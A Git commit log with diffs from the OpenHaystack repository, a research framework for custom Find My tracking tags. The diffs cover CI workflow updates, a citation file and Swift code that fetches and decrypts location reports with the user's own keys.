57 Commits

Author SHA1 Message Date
Sebastian
8d214aa5eb Use macOS 14 runner with Xcode 15.3 2024-07-09 09:19:10 +02:00
Sebastian
27d975b1f0 Add manual trigger for all workflows 2024-07-09 09:19:10 +02:00
Sebastian
173eb741fa Fix CI to use renamed GitHub Action 2024-07-09 09:19:10 +02:00
Sebastian
17410e2c00 Create a SetttingsView to manually enter Search Party Token, add error handling for expired token 2024-07-08 10:37:38 +02:00
Sebastian
3ef4280df1 Use AOSKit to generate anisette headers 2024-07-08 10:37:38 +02:00
Sebastian
1b66d15cad Fix report decryption for new report format 2024-07-08 10:37:38 +02:00
Alexander Heinrich
e8dcf61daa Adding CITATION.cff file 2024-06-11 12:38:44 +02:00
Shai Mishali
7d72fa1ac1 [fix] Derive symmetric key correctly 2023-10-16 17:19:56 +02:00
Alexander Heinrich
6eb2822632 Updating Mail Plugin to work with macOS 13.5 and 13.6 2023-10-09 13:08:46 +02:00
Alexander Heinrich
fe1e286182 Compatibility with macOS 13.3 2023-04-21 09:54:51 +02:00
Alexander Heinrich
4e0f37d129 Updating action to macOS 12 2022-06-01 09:37:19 +02:00
Alexander Heinrich
6b3196e798 Adding option to copy the private key from the repository 2022-06-01 09:33:41 +02:00
Noah
9829d6ceb4 OpenHaystackMail: add support for Mail.app version 16.0 (macOS 12.3)
Fixed #109.
2022-06-01 09:15:47 +02:00
Alexander Heinrich
6c4895d68f Proxy Server Info 2022-05-12 15:28:06 +02:00
Alexander Heinrich
33716d7f9d Update README.md
Cleaning up readme
2022-05-12 15:28:06 +02:00
Alexander Heinrich
e27051e71e Update README.md
Cleaning up Readme
2022-05-12 15:28:06 +02:00
MaxGranzow
ed2c80b8c7 Fixing readme image alignment 2022-05-12 15:28:06 +02:00
MaxGranzow
62bbee528e Adding OpenHaystack Mobile screenshots 2022-05-12 15:28:06 +02:00
MaxGranzow
00e3b5ad14 Update readme with OpenHaystack Mobile info 2022-05-12 15:28:06 +02:00
MaxGranzow
3d593a006c Adding OpenHaystack Mobile app
Co-Authored-By: Lukas Burg <lukas.burg@hemalu.de>
2022-05-12 15:28:06 +02:00
Alexander Heinrich
b65a6e6be0 Changing time-out for nearby devices 2022-01-04 15:25:11 +01:00
Alexander Heinrich
190d9f35dd Importing and exporting in JSON possible 2022-01-04 14:51:18 +01:00
Alexander Heinrich
ebfe7922ec Updating build workflow for Xcode 13 2022-01-04 12:59:34 +01:00
Alexander Heinrich
005d642dd8 Adding new NRF firmware which supports rotating keys 2022-01-04 12:44:45 +01:00
Alexander Heinrich
c349ffde7f Updating mail plug-in for macOS 12.1 2022-01-04 12:44:45 +01:00
Alexander Heinrich
f582d86455 Updating mail plug-in for macOS 12.1 2022-01-04 12:44:45 +01:00
Alexander Heinrich
e55a0959af Adding a class that automatically checks for updates of the app 2022-01-04 12:44:45 +01:00
Morten Harter
278fe4e30d Added support for key derivation
Added deployment for nRF52 Devices
2022-01-04 12:44:45 +01:00
Alexander Heinrich
d9a1a33b1e Updating project to be M1 (ARM) compatible 2021-11-25 11:24:14 +01:00
Alexander Heinrich
3a8e543491 Using the ESP32 v4.3 branch and not the release since the release is still failing to build 2021-11-04 12:50:10 +01:00
Alexander Heinrich
c6600b0555 Updating esp-idf version 2021-11-04 11:16:41 +01:00
Howard
9363dc0534 Clarify the nature of the key parameter used by flash_esp32.sh
The OpenHaystack UI does not expose the concept of "public key". The script `flash_esp.32` is in fact expecting the base-64 encoded advertisement key.
2021-11-04 09:40:54 +01:00
yoution
e95fe0cc32 Update README.md
fix: fix board type
2021-11-04 09:40:29 +01:00
Alexander Heinrich
599c24042d Fixing an issue with swift-format. It has changed the command line arguments and was throwing an error otherwise 2021-11-04 09:20:54 +01:00
Alexander Heinrich
204473c1cf Fixing issues with the Mail plug-in update processs 2021-11-03 18:10:34 +01:00
Sascha Mowtschan
e55aa25d9c Fixes #85
Add PluginCompatibilityUUID for MacOS 12.0.1, Mail.app 15.0
2021-11-03 18:10:34 +01:00
Alexander Heinrich
e39e328a89 Updating UUIDs for macOS 11.6 2021-09-21 17:27:34 +02:00
Alexander Heinrich
f9149cdc74 nrf52832 pin layout 2021-08-25 15:53:03 +02:00
Alexander Heinrich
206a2e7004 Copying public to clipboard as Byte array or escaped string 2021-08-25 14:39:58 +02:00
Alexander Heinrich
78fba7391c Checking if the Mail plug-in is installed in the correct version. Otherwise the new mail plug-in will be installed 2021-08-06 11:46:56 +02:00
Alexander Heinrich
aa7c0a50af Updating workflows to macOS 11 2021-08-06 11:23:47 +02:00
Alexander Heinrich
48ceb9550c Small icon changes 2021-08-06 11:19:19 +02:00
Alexander Heinrich
6105a9454a Updating preview for better control of Screenshots 2021-08-06 11:19:19 +02:00
VladutLP
71fb26da56 Added a bunch of ID's into the plist for Mail app version 14 2021-08-06 11:16:10 +02:00
Milan Stute
c7a15fe0e4 Add WiSec demo 2021-06-02 14:09:57 +02:00
Alexander Heinrich
ffc5170ea4 Added a fix for the cropped rows on macOS 11.3
This is clearly a SwiftUI bug and it has been reported with FB9092071
2021-04-29 11:16:01 +02:00
Alexander Heinrich
f73c1ac636 Fixing memory leaks in ReportsFetcher 2021-04-29 11:08:41 +02:00
Alexander Heinrich
5dc6158da7 Fixing leaks in boring ssl usage 2021-04-29 11:08:41 +02:00
Alexander Heinrich
ba174196c0 Calling the completion handler in the case of a nil self 2021-04-29 11:08:41 +02:00
Tomas Harkema
c618aab843 make it a todo 2021-04-29 11:08:41 +02:00
Tomas Harkema
f8fb99cc41 burn some leaks 2021-04-29 11:08:41 +02:00
Frank Hessel
9f41994380 ESP32 Firmware: Consider Port and De-Duplicate Flashing Script 2021-04-29 09:05:31 +02:00
Sascha Mowtschan
b5a577ec4e Add "cleanup" to the deployment script #44 (enhancement) 2021-04-19 09:31:37 +02:00
Alexander Heinrich
b513d47ddc Updated Readme with info for missing Manage Plug-Ins button 2021-04-15 09:15:33 +02:00
Alexander Heinrich
acdae59b39 Updating ESP32 firmware to sending rate of 1-2s
This is done to save energy
2021-04-13 09:44:17 +02:00
Alexander Heinrich
880f1356de Reducing sending frequency of micro:bit firmware to 2s to reduce power consumption 2021-04-13 09:44:17 +02:00
Alexander Heinrich
edf2b59754 Export the created firmware file (instead of flashing directly)
Running swift-format
2021-04-13 09:44:17 +02:00
254 changed files with 38448 additions and 1299 deletions

View File

@@ -20,7 +20,7 @@ runs:
sudo apt install git wget flex bison gperf python3 python3-pip python3-setuptools cmake ninja-build ccache libffi-dev libssl-dev dfu-util libusb-1.0-0
mkdir -p /opt/esp
cd /opt/esp
git clone --recursive --depth 1 --branch v4.2 https://github.com/espressif/esp-idf.git
git clone --recursive --depth 1 --branch release/v4.3 https://github.com/espressif/esp-idf.git
cd /opt/esp/esp-idf
./install.sh
- name: Build firmware

View File

@@ -9,6 +9,7 @@ on:
branches: [ main ]
paths:
- OpenHaystack/**
workflow_dispatch:
env:
APP: OpenHaystack
@@ -18,17 +19,17 @@ defaults:
jobs:
format-swift:
runs-on: macos-latest
runs-on: macos-14
steps:
- name: "Checkout code"
uses: actions/checkout@v2
- name: "Install swift-format"
run: brew install swift-format
- name: "Run swift-format"
run: swift-format --recursive --mode lint .
run: swift-format lint --recursive .
format-objc:
runs-on: macos-latest
runs-on: macos-14
steps:
- name: "Checkout code"
uses: actions/checkout@v2
@@ -38,16 +39,16 @@ jobs:
run: clang-format -n **/*.{h,m}
build-app:
runs-on: macos-latest
runs-on: macos-14
needs:
- format-swift
- format-objc
steps:
- name: "Checkout code"
uses: actions/checkout@v2
- name: "Select Xcode 12"
uses: devbotsxyz/xcode-select@v1
- name: "Select Xcode 15.3"
uses: keehun/xcode-select@v1
with:
version: "12"
version: "15.3"
- name: "Archive project"
run: xcodebuild archive -scheme ${APP} -configuration release -archivePath ${APP}.xcarchive

View File

@@ -16,7 +16,7 @@ defaults:
jobs:
lint-swiftlint:
runs-on: macos-latest
runs-on: macos-11
steps:
- name: "Checkout code"
uses: actions/checkout@v2
@@ -32,7 +32,7 @@ jobs:
- name: "Checkout code"
uses: actions/checkout@v2
- name: "Select Xcode 12"
uses: devbotsxyz/xcode-select@v1
uses: keehun/xcode-select@v1
with:
version: "12"
- name: "Archive project"
@@ -47,7 +47,7 @@ jobs:
- name: "Checkout code"
uses: actions/checkout@v2
- name: "Select Xcode 12"
uses: devbotsxyz/xcode-select@v1
uses: keehun/xcode-select@v1
with:
version: "12"
- name: "Archive project"

View File

@@ -9,6 +9,7 @@ on:
branches: [ main ]
paths:
- Firmware/ESP32/**
workflow_dispatch:
jobs:
build-firmware-esp32:

View File

@@ -9,6 +9,7 @@ on:
branches: [ main ]
paths:
- Firmware/Microbit_v1/**
workflow_dispatch:
defaults:
run:
@@ -16,7 +17,7 @@ defaults:
jobs:
build-firmware:
runs-on: macos-latest
runs-on: macos-14
steps:
- uses: actions/checkout@v2

View File

@@ -4,6 +4,7 @@ on:
push:
tags:
- 'v*' # Push events to matching v*, i.e. v1.0, v20.15.10
workflow_dispatch:
jobs:
build-firmware-esp32:
@@ -30,7 +31,7 @@ jobs:
build-and-release:
name: "Create release on GitHub"
runs-on: macos-latest
runs-on: macos-14
env:
APP: OpenHaystack
PROJECT_DIR: OpenHaystack
@@ -42,10 +43,10 @@ jobs:
steps:
- name: Checkout code
uses: actions/checkout@v2
- name: "Select Xcode 12"
uses: devbotsxyz/xcode-select@v1
- name: "Select Xcode 15.3"
uses: keehun/xcode-select@v1
with:
version: "12"
version: "15.3"
- name: "Add ESP32 firmware"
uses: actions/download-artifact@v2
with:

6
.gitignore vendored
View File

@@ -2,6 +2,10 @@
# Created by https://www.toptal.com/developers/gitignore/api/xcode,swift
# Edit at https://www.toptal.com/developers/gitignore?templates=xcode,swift
## macOS ##
.DS_Store
### Swift ###
# Xcode
#
@@ -106,4 +110,4 @@ iOSInjectionProject/
# End of https://www.toptal.com/developers/gitignore/api/xcode,swift
# Exports folder
Exports/
Exports/

31
CITATION.cff Normal file
View File

@@ -0,0 +1,31 @@
# This CITATION.cff file was generated with cffinit.
# Visit https://bit.ly/cffinit to generate yours today!
cff-version: 1.2.0
title: OpenHaystack
message: 'If you use this software, please cite it as below.'
type: software
authors:
- given-names: Alexander
family-names: Heinrich
affiliation: 'SEEMOO, TU Darmstadt'
orcid: 'https://orcid.org/0000-0002-1150-1922'
- given-names: Milan
family-names: Stute
affiliation: 'SEEMOO, TU Darmstadt'
orcid: 'https://orcid.org/0000-0003-4921-8476'
- given-names: Matthias
family-names: Hollick
affiliation: 'SEEMOO, TU Darmstadt'
orcid: 'https://orcid.org/0000-0002-9163-5989'
repository-code: 'https://github.com/seemoo-lab/openhaystack'
abstract: >-
OpenHaystack is a framework for tracking personal
Bluetooth devices via Apple's massive Find My network. Use
it to create your own tracking tags that you can append to
physical objects (keyrings, backpacks, ...) or integrate
it into other Bluetooth-capable devices such as notebooks.
license: AGPL-3.0
commit: 7d72fa1ac19d2a9f6dec43011be07df8976a8b02
version: 0.5.3
date-released: '2023-10-09'

View File

@@ -13,30 +13,30 @@ import SwiftUI
@main
class AppDelegate: NSObject, NSApplicationDelegate {
var window: NSWindow!
var window: NSWindow!
func applicationDidFinishLaunching(_ aNotification: Notification) {
// Create the SwiftUI view that provides the window contents.
let contentView = OFFetchReportsMainView()
func applicationDidFinishLaunching(_ aNotification: Notification) {
// Create the SwiftUI view that provides the window contents.
let contentView = OFFetchReportsMainView()
// Create the window and set the content view.
window = NSWindow(
contentRect: NSRect(x: 0, y: 0, width: 480, height: 300),
styleMask: [.titled, .closable, .miniaturizable, .resizable, .fullSizeContentView],
backing: .buffered, defer: false)
window.isReleasedWhenClosed = false
window.center()
window.setFrameAutosaveName("Main Window")
window.contentView = NSHostingView(rootView: contentView)
window.makeKeyAndOrderFront(nil)
}
// Create the window and set the content view.
window = NSWindow(
contentRect: NSRect(x: 0, y: 0, width: 480, height: 300),
styleMask: [.titled, .closable, .miniaturizable, .resizable, .fullSizeContentView],
backing: .buffered, defer: false)
window.isReleasedWhenClosed = false
window.center()
window.setFrameAutosaveName("Main Window")
window.contentView = NSHostingView(rootView: contentView)
window.makeKeyAndOrderFront(nil)
}
func applicationWillTerminate(_ aNotification: Notification) {
// Insert code here to tear down your application
}
func applicationWillTerminate(_ aNotification: Notification) {
// Insert code here to tear down your application
}
func applicationShouldTerminateAfterLastWindowClosed(_ sender: NSApplication) -> Bool {
return true
}
func applicationShouldTerminateAfterLastWindowClosed(_ sender: NSApplication) -> Bool {
return true
}
}

View File

@@ -10,14 +10,14 @@
import SwiftUI
struct ContentView: View {
var body: some View {
Text("Hello, World!")
.frame(maxWidth: .infinity, maxHeight: .infinity)
}
var body: some View {
Text("Hello, World!")
.frame(maxWidth: .infinity, maxHeight: .infinity)
}
}
struct ContentView_Previews: PreviewProvider {
static var previews: some View {
ContentView()
}
static var previews: some View {
ContentView()
}
}

View File

@@ -7,93 +7,100 @@
// SPDX-License-Identifier: AGPL-3.0-only
//
import Foundation
import CryptoKit
import Foundation
struct DecryptReports {
/// Decrypt a find my report with the according key
/// - Parameters:
/// - report: An encrypted FindMy Report
/// - key: A FindMyKey
/// - Throws: Errors if the decryption fails
/// - Returns: An decrypted location report
static func decrypt(report: FindMyReport, with key: FindMyKey) throws -> FindMyLocationReport {
let payloadData = report.payload
let keyData = key.privateKey
/// Decrypt a find my report with the according key
/// - Parameters:
/// - report: An encrypted FindMy Report
/// - key: A FindMyKey
/// - Throws: Errors if the decryption fails
/// - Returns: An decrypted location report
static func decrypt(report: FindMyReport, with key: FindMyKey) throws -> FindMyLocationReport {
let payloadData = report.payload
let keyData = key.privateKey
let privateKey = keyData
let ephemeralKey = payloadData.subdata(in: 5..<62)
let privateKey = keyData
let ephemeralKey = payloadData.subdata(in: 5..<62)
guard let sharedKey = BoringSSL.deriveSharedKey(
fromPrivateKey: privateKey,
andEphemeralKey: ephemeralKey) else {
throw FindMyError.decryptionError(description: "Failed generating shared key")
}
let derivedKey = self.kdf(fromSharedSecret: sharedKey, andEphemeralKey: ephemeralKey)
print("Derived key \(derivedKey.base64EncodedString())")
let encData = payloadData.subdata(in: 62..<72)
let tag = payloadData.subdata(in: 72..<payloadData.endIndex)
let decryptedContent = try self.decryptPayload(payload: encData, symmetricKey: derivedKey, tag: tag)
let locationReport = self.decode(content: decryptedContent, report: report)
print(locationReport)
return locationReport
guard
let sharedKey = BoringSSL.deriveSharedKey(
fromPrivateKey: privateKey,
andEphemeralKey: ephemeralKey)
else {
throw FindMyError.decryptionError(description: "Failed generating shared key")
}
/// Decrypt the payload
/// - Parameters:
/// - payload: Encrypted payload part
/// - symmetricKey: Symmetric key
/// - tag: AES GCM tag
/// - Throws: AES GCM error
/// - Returns: Decrypted error
static func decryptPayload(payload: Data, symmetricKey: Data, tag: Data) throws -> Data {
let decryptionKey = symmetricKey.subdata(in: 0..<16)
let iv = symmetricKey.subdata(in: 16..<symmetricKey.endIndex)
let derivedKey = self.kdf(fromSharedSecret: sharedKey, andEphemeralKey: ephemeralKey)
print("Decryption Key \(decryptionKey.base64EncodedString())")
print("IV \(iv.base64EncodedString())")
print("Derived key \(derivedKey.base64EncodedString())")
let sealedBox = try AES.GCM.SealedBox(nonce: AES.GCM.Nonce(data: iv), ciphertext: payload, tag: tag)
let symKey = SymmetricKey(data: decryptionKey)
let decrypted = try AES.GCM.open(sealedBox, using: symKey)
let encData = payloadData.subdata(in: 62..<72)
let tag = payloadData.subdata(in: 72..<payloadData.endIndex)
return decrypted
}
let decryptedContent = try self.decryptPayload(
payload: encData, symmetricKey: derivedKey, tag: tag)
let locationReport = self.decode(content: decryptedContent, report: report)
print(locationReport)
return locationReport
}
static func decode(content: Data, report: FindMyReport) -> FindMyLocationReport {
var longitude: Int32 = 0
_ = withUnsafeMutableBytes(of: &longitude, {content.subdata(in: 4..<8).copyBytes(to: $0)})
longitude = Int32(bigEndian: longitude)
/// Decrypt the payload
/// - Parameters:
/// - payload: Encrypted payload part
/// - symmetricKey: Symmetric key
/// - tag: AES GCM tag
/// - Throws: AES GCM error
/// - Returns: Decrypted error
static func decryptPayload(payload: Data, symmetricKey: Data, tag: Data) throws -> Data {
let decryptionKey = symmetricKey.subdata(in: 0..<16)
let iv = symmetricKey.subdata(in: 16..<symmetricKey.endIndex)
var latitude: Int32 = 0
_ = withUnsafeMutableBytes(of: &latitude, {content.subdata(in: 0..<4).copyBytes(to: $0)})
latitude = Int32(bigEndian: latitude)
print("Decryption Key \(decryptionKey.base64EncodedString())")
print("IV \(iv.base64EncodedString())")
var accuracy: UInt8 = 0
_ = withUnsafeMutableBytes(of: &accuracy, {content.subdata(in: 8..<9).copyBytes(to: $0)})
let sealedBox = try AES.GCM.SealedBox(
nonce: AES.GCM.Nonce(data: iv), ciphertext: payload, tag: tag)
let symKey = SymmetricKey(data: decryptionKey)
let decrypted = try AES.GCM.open(sealedBox, using: symKey)
let latitudeDec = Double(latitude)/10000000.0
let longitudeDec = Double(longitude)/10000000.0
return decrypted
}
return FindMyLocationReport(lat: latitudeDec, lng: longitudeDec, acc: accuracy, dP: report.datePublished, t: report.timestamp, c: report.confidence)
}
static func decode(content: Data, report: FindMyReport) -> FindMyLocationReport {
var longitude: Int32 = 0
_ = withUnsafeMutableBytes(of: &longitude, { content.subdata(in: 4..<8).copyBytes(to: $0) })
longitude = Int32(bigEndian: longitude)
static func kdf(fromSharedSecret secret: Data, andEphemeralKey ephKey: Data) -> Data {
var latitude: Int32 = 0
_ = withUnsafeMutableBytes(of: &latitude, { content.subdata(in: 0..<4).copyBytes(to: $0) })
latitude = Int32(bigEndian: latitude)
var shaDigest = SHA256()
shaDigest.update(data: secret)
var counter: Int32 = 1
let counterData = Data(Data(bytes: &counter, count: MemoryLayout.size(ofValue: counter)).reversed())
shaDigest.update(data: counterData)
shaDigest.update(data: ephKey)
var accuracy: UInt8 = 0
_ = withUnsafeMutableBytes(of: &accuracy, { content.subdata(in: 8..<9).copyBytes(to: $0) })
let derivedKey = shaDigest.finalize()
let latitudeDec = Double(latitude) / 10000000.0
let longitudeDec = Double(longitude) / 10000000.0
return Data(derivedKey)
}
return FindMyLocationReport(
lat: latitudeDec, lng: longitudeDec, acc: accuracy, dP: report.datePublished,
t: report.timestamp, c: report.confidence)
}
static func kdf(fromSharedSecret secret: Data, andEphemeralKey ephKey: Data) -> Data {
var shaDigest = SHA256()
shaDigest.update(data: secret)
var counter: Int32 = 1
let counterData = Data(
Data(bytes: &counter, count: MemoryLayout.size(ofValue: counter)).reversed())
shaDigest.update(data: counterData)
shaDigest.update(data: ephKey)
let derivedKey = shaDigest.finalize()
return Data(derivedKey)
}
}

View File

@@ -7,218 +7,232 @@
// SPDX-License-Identifier: AGPL-3.0-only
//
import Combine
import Foundation
import SwiftUI
import Combine
class FindMyController: ObservableObject {
static let shared = FindMyController()
static let shared = FindMyController()
@Published var error: Error?
@Published var devices = [FindMyDevice]()
@Published var error: Error?
@Published var devices = [FindMyDevice]()
func loadPrivateKeys(from data: Data, with searchPartyToken: Data, completion: @escaping (Error?) -> Void) {
func loadPrivateKeys(
from data: Data, with searchPartyToken: Data, completion: @escaping (Error?) -> Void
) {
do {
let devices = try PropertyListDecoder().decode([FindMyDevice].self, from: data)
self.devices.append(contentsOf: devices)
self.fetchReports(with: searchPartyToken, completion: completion)
} catch {
self.error = FindMyErrors.decodingPlistFailed(message: String(describing: error))
}
}
func importReports(reports: [FindMyReport], and keys: Data, completion: @escaping () -> Void)
throws
{
var devices = try PropertyListDecoder().decode([FindMyDevice].self, from: keys)
// Decrypt the reports with the imported keys
DispatchQueue.global(qos: .background).async {
// Add the reports to the according device by finding the right key for the report
for report in reports {
guard
let deviceIndex = devices.firstIndex(where: { (device) -> Bool in
device.keys.contains { (key) -> Bool in
key.hashedKey.base64EncodedString() == report.id
}
})
else {
print("No device found for id")
continue
}
if var reports = devices[deviceIndex].reports {
reports.append(report)
devices[deviceIndex].reports = reports
} else {
devices[deviceIndex].reports = [report]
}
}
self.devices = devices
// Decrypt the reports
self.decryptReports {
self.exportDevices()
DispatchQueue.main.async {
completion()
}
}
}
}
func importDevices(devices: Data) throws {
var devices = try PropertyListDecoder().decode([FindMyDevice].self, from: devices)
// Delete the decrypted reports
for idx in devices.startIndex..<devices.endIndex {
devices[idx].decryptedReports = nil
}
self.devices = devices
// Decrypt reports again with additional information
self.decryptReports {
}
}
func fetchReports(with searchPartyToken: Data, completion: @escaping (Error?) -> Void) {
DispatchQueue.global(qos: .background).async {
let fetchReportGroup = DispatchGroup()
let fetcher = ReportsFetcher()
var devices = self.devices
for deviceIndex in 0..<devices.count {
fetchReportGroup.enter()
devices[deviceIndex].reports = []
// Only use the newest keys for testing
let keys = devices[deviceIndex].keys
let keyHashes = keys.map({ $0.hashedKey.base64EncodedString() })
// 21 days
let duration: Double = (24 * 60 * 60) * 21
let startDate = Date() - duration
fetcher.query(
forHashes: keyHashes,
start: startDate,
duration: duration,
searchPartyToken: searchPartyToken
) { jd in
guard let jsonData = jd else {
fetchReportGroup.leave()
return
}
do {
// Decode the report
let report = try JSONDecoder().decode(FindMyReportResults.self, from: jsonData)
devices[deviceIndex].reports = report.results
} catch {
print("Failed with error \(error)")
devices[deviceIndex].reports = []
}
fetchReportGroup.leave()
}
}
// Completion Handler
fetchReportGroup.notify(queue: .main) {
print("Finished loading the reports. Now decrypt them")
// Export the reports to the desktop
var reports = [FindMyReport]()
for device in devices {
for report in device.reports! {
reports.append(report)
}
}
#if EXPORT
if let encoded = try? JSONEncoder().encode(reports) {
let outputDirectory = FileManager.default.urls(
for: .desktopDirectory, in: .userDomainMask
).first!
try? encoded.write(to: outputDirectory.appendingPathComponent("reports.json"))
}
#endif
DispatchQueue.main.async {
self.devices = devices
self.decryptReports {
completion(nil)
}
}
}
}
}
func decryptReports(completion: () -> Void) {
print("Decrypting reports")
// Iterate over all devices
for deviceIdx in 0..<devices.count {
devices[deviceIdx].decryptedReports = []
let device = devices[deviceIdx]
// Map the keys in a dictionary for faster access
guard let reports = device.reports else { continue }
let keyMap = device.keys.reduce(
into: [String: FindMyKey](), { $0[$1.hashedKey.base64EncodedString()] = $1 })
let accessQueue = DispatchQueue(
label: "threadSafeAccess",
qos: .userInitiated,
attributes: .concurrent,
autoreleaseFrequency: .workItem, target: nil)
var decryptedReports = [FindMyLocationReport](
repeating:
FindMyLocationReport(lat: 0, lng: 0, acc: 0, dP: Date(), t: Date(), c: 0),
count: reports.count)
DispatchQueue.concurrentPerform(iterations: reports.count) { (reportIdx) in
let report = reports[reportIdx]
guard let key = keyMap[report.id] else { return }
do {
let devices = try PropertyListDecoder().decode([FindMyDevice].self, from: data)
self.devices.append(contentsOf: devices)
self.fetchReports(with: searchPartyToken, completion: completion)
// Decrypt the report
let locationReport = try DecryptReports.decrypt(report: report, with: key)
accessQueue.async(flags: .barrier) {
decryptedReports[reportIdx] = locationReport
}
} catch {
self.error = FindMyErrors.decodingPlistFailed(message: String(describing: error))
return
}
}
accessQueue.sync {
devices[deviceIdx].decryptedReports = decryptedReports
}
}
func importReports(reports: [FindMyReport], and keys: Data, completion:@escaping () -> Void) throws {
var devices = try PropertyListDecoder().decode([FindMyDevice].self, from: keys)
completion()
// Decrypt the reports with the imported keys
DispatchQueue.global(qos: .background).async {
// Add the reports to the according device by finding the right key for the report
for report in reports {
}
guard let deviceIndex = devices.firstIndex(where: { (device) -> Bool in
device.keys.contains { (key) -> Bool in
key.hashedKey.base64EncodedString() == report.id
}
}) else {
print("No device found for id")
continue
}
if var reports = devices[deviceIndex].reports {
reports.append(report)
devices[deviceIndex].reports = reports
} else {
devices[deviceIndex].reports = [report]
}
}
self.devices = devices
func exportDevices() {
// Decrypt the reports
self.decryptReports {
self.exportDevices()
DispatchQueue.main.async {
completion()
}
}
}
}
func importDevices(devices: Data) throws {
var devices = try PropertyListDecoder().decode([FindMyDevice].self, from: devices)
// Delete the decrypted reports
for idx in devices.startIndex..<devices.endIndex {
devices[idx].decryptedReports = nil
}
self.devices = devices
// Decrypt reports again with additional information
self.decryptReports {
}
}
func fetchReports(with searchPartyToken: Data, completion: @escaping (Error?) -> Void) {
DispatchQueue.global(qos: .background).async {
let fetchReportGroup = DispatchGroup()
let fetcher = ReportsFetcher()
var devices = self.devices
for deviceIndex in 0..<devices.count {
fetchReportGroup.enter()
devices[deviceIndex].reports = []
// Only use the newest keys for testing
let keys = devices[deviceIndex].keys
let keyHashes = keys.map({$0.hashedKey.base64EncodedString()})
// 21 days
let duration: Double = (24 * 60 * 60) * 21
let startDate = Date() - duration
fetcher.query(forHashes: keyHashes,
start: startDate,
duration: duration,
searchPartyToken: searchPartyToken) { jd in
guard let jsonData = jd else {
fetchReportGroup.leave()
return
}
do {
// Decode the report
let report = try JSONDecoder().decode(FindMyReportResults.self, from: jsonData)
devices[deviceIndex].reports = report.results
} catch {
print("Failed with error \(error)")
devices[deviceIndex].reports = []
}
fetchReportGroup.leave()
}
}
// Completion Handler
fetchReportGroup.notify(queue: .main) {
print("Finished loading the reports. Now decrypt them")
// Export the reports to the desktop
var reports = [FindMyReport]()
for device in devices {
for report in device.reports! {
reports.append(report)
}
}
#if EXPORT
if let encoded = try? JSONEncoder().encode(reports) {
let outputDirectory = FileManager.default.urls(for: .desktopDirectory, in: .userDomainMask).first!
try? encoded.write(to: outputDirectory.appendingPathComponent("reports.json"))
}
#endif
DispatchQueue.main.async {
self.devices = devices
self.decryptReports {
completion(nil)
}
}
}
}
}
func decryptReports(completion: () -> Void) {
print("Decrypting reports")
// Iterate over all devices
for deviceIdx in 0..<devices.count {
devices[deviceIdx].decryptedReports = []
let device = devices[deviceIdx]
// Map the keys in a dictionary for faster access
guard let reports = device.reports else {continue}
let keyMap = device.keys.reduce(into: [String: FindMyKey](), {$0[$1.hashedKey.base64EncodedString()] = $1})
let accessQueue = DispatchQueue(label: "threadSafeAccess",
qos: .userInitiated,
attributes: .concurrent,
autoreleaseFrequency: .workItem, target: nil)
var decryptedReports = [FindMyLocationReport](repeating:
FindMyLocationReport(lat: 0, lng: 0, acc: 0, dP: Date(), t: Date(), c: 0),
count: reports.count)
DispatchQueue.concurrentPerform(iterations: reports.count) { (reportIdx) in
let report = reports[reportIdx]
guard let key = keyMap[report.id] else {return}
do {
// Decrypt the report
let locationReport = try DecryptReports.decrypt(report: report, with: key)
accessQueue.async(flags: .barrier) {
decryptedReports[reportIdx] = locationReport
}
} catch {
return
}
}
accessQueue.sync {
devices[deviceIdx].decryptedReports = decryptedReports
}
}
completion()
}
func exportDevices() {
if let encoded = try? PropertyListEncoder().encode(self.devices) {
let outputDirectory = FileManager.default.urls(for: .desktopDirectory, in: .userDomainMask).first!
try? encoded.write(to: outputDirectory.appendingPathComponent("devices-\(Date()).plist"))
}
if let encoded = try? PropertyListEncoder().encode(self.devices) {
let outputDirectory = FileManager.default.urls(for: .desktopDirectory, in: .userDomainMask)
.first!
try? encoded.write(to: outputDirectory.appendingPathComponent("devices-\(Date()).plist"))
}
}
}
struct FindMyControllerKey: EnvironmentKey {
static var defaultValue: FindMyController = .shared
static var defaultValue: FindMyController = .shared
}
extension EnvironmentValues {
var findMyController: FindMyController {
get {self[FindMyControllerKey.self]}
set {self[FindMyControllerKey.self] = newValue}
}
var findMyController: FindMyController {
get { self[FindMyControllerKey.self] }
set { self[FindMyControllerKey.self] = newValue }
}
}
enum FindMyErrors: Error {
case decodingPlistFailed(message: String)
case decodingPlistFailed(message: String)
}

View File

@@ -7,109 +7,110 @@
// SPDX-License-Identifier: AGPL-3.0-only
//
import Foundation
import CryptoKit
import Foundation
/// Decode key files found in newer macOS versions.
class FindMyKeyDecoder {
/// Key files can be in different format.
/// The old <= 10.15.3 have been using normal plists.
/// Newer once use a binary format which needs different parsing
enum KeyFileFormat {
// swiftlint:disable identifier_name
/// Catalina > 10.15.4 key file format | Big Sur 11.0 Beta 1 uses a similar key
/// file format that can be parsed identically.
/// macOS 10.15.7 uses a new key file format that has not been reversed yet.
/// (The key files are protected by sandboxing and only usable from a SIP disabled)
case catalina_10_15_4
/// Key files can be in different format.
/// The old <= 10.15.3 have been using normal plists.
/// Newer once use a binary format which needs different parsing
enum KeyFileFormat {
// swiftlint:disable identifier_name
/// Catalina > 10.15.4 key file format | Big Sur 11.0 Beta 1 uses a similar key
/// file format that can be parsed identically.
/// macOS 10.15.7 uses a new key file format that has not been reversed yet.
/// (The key files are protected by sandboxing and only usable from a SIP disabled)
case catalina_10_15_4
}
var fileFormat: KeyFileFormat?
func parse(keyFile: Data) throws -> [FindMyKey] {
// Detect the format at first
if fileFormat == nil {
try self.checkFormat(for: keyFile)
}
guard let format = self.fileFormat else {
throw ParsingError.unsupportedFormat
}
var fileFormat: KeyFileFormat?
switch format {
case .catalina_10_15_4:
let keys = try self.parseBinaryKeyFiles(from: keyFile)
return keys
}
}
func parse(keyFile: Data) throws -> [FindMyKey] {
// Detect the format at first
if fileFormat == nil {
try self.checkFormat(for: keyFile)
}
guard let format = self.fileFormat else {
throw ParsingError.unsupportedFormat
}
switch format {
case .catalina_10_15_4:
let keys = try self.parseBinaryKeyFiles(from: keyFile)
return keys
}
func checkFormat(for keyFile: Data) throws {
// Key files need to start with KEY = 0x4B 45 59
let magicBytes = keyFile.subdata(in: 0..<3)
guard magicBytes == Data([0x4b, 0x45, 0x59]) else {
throw ParsingError.wrongMagicBytes
}
func checkFormat(for keyFile: Data) throws {
// Key files need to start with KEY = 0x4B 45 59
let magicBytes = keyFile.subdata(in: 0..<3)
guard magicBytes == Data([0x4b, 0x45, 0x59]) else {
throw ParsingError.wrongMagicBytes
}
// Detect zeros
let potentialZeros = keyFile[15..<31]
guard potentialZeros == Data(repeating: 0x00, count: 16) else {
throw ParsingError.wrongFormat
}
// Should be big sur
